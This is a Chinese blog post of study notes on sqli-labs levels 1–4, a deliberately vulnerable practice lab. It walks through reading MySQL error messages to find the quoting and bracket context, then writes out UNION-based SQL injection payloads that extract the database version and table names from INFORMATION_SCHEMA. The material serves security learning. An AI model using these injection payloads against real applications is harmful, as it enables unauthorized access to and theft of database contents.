美文网首页
sqli-labs学习笔记

sqli-labs学习笔记

作者: 我是真的很方 | 来源:发表于2018-04-24 16:02 被阅读0次

    less-1~4:

    都有回显,且回显信息中包含了数据库中的信息。

    Less-1:

    有回显,输入单引号报错。

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    根据报错信息我们可以知道,输入的ID是字符定义的,然后测试查询时有几个字段, 用union查询,经测试有3段,且2,3段会展示用户名和密码

    然后构造注入语句:/?id=' union  select 1,@@version,3 -- a

    可以成功看到版本,后续可以得到库名、表名等。

    例:/?id=' union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a

    可以得到所有表名。。

    Less-2:

    同样的有回显,输入“ ‘ ”报错, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

    根据报错信息,得知这里的ID不是字符型了,应该是整数型,构造注入:

    /?id=1 and 1=2 union select  1,@@version,3 -- a

    Less-3:

    输入“ ‘ ”报错, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3 -- a') LIMIT 0,1' at line 1

    根据报错,有一个“)”,我们猜测这里的SQL语句应该加了()干扰,所以闭合括号和单引号,构造注入:/?id=') union select  1,@@version,3 --  a得到结果:

    Less-4:

    这道题试了单引号不会报错,输入反斜杠,反斜杠转移了后面的引号,导致引号不能闭合,报错:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"\") LIMIT 0,1' at line 1

    根据报错信息,这里用的双引号,而且在报错信息中我们发现神奇的括号,想到第三题,这题应该也加了括号干扰,所以接下来就是闭合他们然后union select啦

    构造注入:/?id=") union select  1,@@version,3 --  a

    相关文章

      网友评论

          本文标题:sqli-labs学习笔记

          本文链接:https://www.haomeiwen.com/subject/gzdjlftx.html